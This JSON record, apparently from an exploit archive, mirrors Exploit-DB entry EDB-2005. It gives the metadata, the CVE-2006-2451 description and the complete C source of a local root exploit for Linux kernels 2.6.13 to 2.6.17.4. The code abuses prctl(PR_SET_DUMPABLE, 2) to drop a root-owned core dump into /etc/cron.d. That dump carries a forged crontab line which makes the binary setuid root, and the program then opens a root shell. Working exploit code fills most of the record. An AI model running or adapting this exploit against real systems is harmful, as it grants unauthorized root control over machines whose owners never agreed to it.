{"exploit":{"id":"EDB-2005","name":"Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (LPE) (2)","description":"Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (LPE) (2)","cves":["CVE-2006-2451"],"author":"Julien Tinnes","published":"2006-07-12","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2005","path":"exploits/linux/local/2005.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2005.c","vulnerabilities":[{"id":"CVE-2006-2451","state":"PUBLISHED","title":null,"titleSource":null,"description":"The suid_dumpable support in Linux kernel 2.6.13 up to versions before 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial of service (disk consumption) and possibly gain privileges via the PR_SET_DUMPABLE argument of the prctl function and a program that causes a core dump file to be created in a directory for which the user does not have permissions.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2451","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2451"},"updatedAt":"2024-08-07T17:51:04.543Z","retrievedAt":"2026-11-26T11:50:17.997Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2005.png?v=2","url":"https://exploitbin.com/exploits/EDB-2005","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2005/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2005/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* Linux >= 2.6.13 prctl kernel exploit\n *\n * (C) Julien TINNES\n *\n * If you read the Changelog from 2.6.13 you've probably seen:\n *  [PATCH] setuid core dump\n *\n * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,\n * user setable argument to PR_SET_DUMPABLE.\n *\n * This flaw allows us to create a root owned coredump into any directory.\n * This is trivially exploitable.\n *\n */\n\n#include <sys/types.h>\n#include <sys/time.h>\n#include <sys/resource.h>\n#include <sys/prctl.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <errno.h>\n#include <signal.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define CROND \"/etc/cron.d\"\n#define BUFSIZE 2048\n\n\nstruct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};\n\nchar\tcrontemplate[]=\n\"#/etc/cron.d/core suid_dumpable exploit\\n\"\n\"SHELL=/bin/sh\\n\"\n\"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\\n\"\n\"#%s* * * * *\troot\t chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\\n\";\n\nchar\tcronstring[BUFSIZE];\nchar\tfname[BUFSIZE];\n\nstruct timeval te;\n\nvoid sh(int sn) {\n\texecl(fname, fname, (char *) NULL);\n}\n\n\nint\tmain(int argc, char *argv[]) {\n\n\tint nw, pid;\n\n\tif (geteuid() == 0) {\n\t\tprintf(\"[+] getting root shell\\n\");\n\t\tsetuid(0);\n\t\tsetgid(0);\n\t\tif (execl(\"/bin/sh\", \"/bin/sh\", (char *) NULL)) {\n\t\t\tperror(\"[-] execle\");\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\tprintf(\"\\nprctl() suidsafe exploit\\n\\n(C) Julien TINNES\\n\\n\");\n\n\t/* get our file name */\n\tif (readlink(\"/proc/self/exe\", fname, sizeof(fname)) == -1) {\n\t\tperror(\"[-] readlink\");\n\t\tprintf(\"This is not fatal, rewrite the exploit\\n\");\n\t}\n\n\tif (signal(SIGUSR1, sh) == SIG_ERR) {\n\t\tperror(\"[-] signal\");\n\t\treturn 1;\n\t}\n\tprintf(\"[+] Installed signal handler\\n\");\n\n\t/* Let us create core files */\n\tsetrlimit(RLIMIT_CORE, &myrlimit);\n\tif (chdir(CROND) == -1) {\n\t\tperror(\"[-] chdir\");\n\t\treturn 1;\n\t}\n\n\t/* exploit the flaw */\n\tif (prctl(PR_SET_DUMPABLE, 2) == -1) {\n\t\tperror(\"[-] prtctl\");\n\t\tprintf(\"Is you kernel version >= 2.6.13 ?\\n\");\n\t\treturn 1;\n\t}\n\n\tprintf(\"[+] We are suidsafe dumpable!\\n\");\n\n\t/* Forge the string for our core dump */\n\tnw=snprintf(cronstring, sizeof(cronstring), crontemplate, \"\\n\", fname, fname, CROND\"/core\", getpid());\n\tif (nw >= sizeof(cronstring)) {\n\t\tprintf(\"[-] cronstring is too small\\n\");\n\t\treturn 1;\n\t}\n\tprintf(\"[+] Malicious string forged\\n\");\n\n\tif ((pid=fork()) == -1) {\n\t\tperror(\"[-] fork\");\n\t\treturn 1;\n\t}\n\n\tif (pid == 0) {\n\t\t/* This is not the good way to do it ;) */\n\t\tsleep(120);\n\t\texit(0);\n\t}\n\n\t/* SEGFAULT the child */\n\tprintf(\"[+] Segfaulting child\\n\");\n\tif (kill(pid, 11) == -1) {\n\t\tperror(\"[-] kill\");\n\t\treturn 1;\n\t}\n\tif (gettimeofday(&te, NULL) == 0)\n\t\tprintf(\"[+] Waiting for exploit to succeed (~%ld seconds)\\n\", 60 - (te.tv_sec%60));\n\tsleep(120);\n\n\tprintf(\"[-] It looks like the exploit failed\\n\");\n\n\treturn 1;\n}\n\n// milw0rm.com [2006-07-12]","sha256":"13fffad626d4eb7417e486388b92e65648ed85c980ded6388effd2890bf6c8d0","bytes":2821,"fetchedAt":"2026-11-26T12:09:21.431Z","encoding":"utf-8 (display only; download retains original bytes)"}